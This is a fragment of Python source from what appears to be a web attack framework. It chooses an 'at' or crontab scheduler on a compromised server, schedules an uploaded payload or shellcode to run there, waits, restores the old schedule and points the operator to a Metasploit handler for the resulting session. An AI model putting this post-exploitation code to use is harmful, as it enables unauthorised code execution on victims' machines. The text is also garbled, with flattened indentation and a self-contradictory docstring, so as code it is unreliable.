def getDelayedExecutionHandler( self ): os = osDetectionExec( self._execMethod ) if os == 'windows': return atHandler( self._execMethod ) elif os == 'linux': return crontabHandler( self._execMethod ) else: raise w3afException('Failed to create a delayed execution handler.')
def _exec_payload( self ): ''' This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _sendExeToServer and generated by _generateExe . In winVd I should add self._filename to the crontab . This method should be implemented in winVd and winVd. ''' aH = atHandler( self._exec_method ) if not aH.canDelay(): om.out.information('Remote user is not allowed to run at! Running command without at, this may cause a timeout.') self._exec( self._remote_filename ) else: waitTime = aH.addToSchedule( self._remote_filename ) om.out.console('"at" entry successfully added. Waiting for shellcode execution.') time.sleep( waitTime + 3 ) om.out.console('Payload successfully executed, restoring old "at".') aH.restoreOldSchedule() om.out.debug('All done, check metasploit handler console for results.')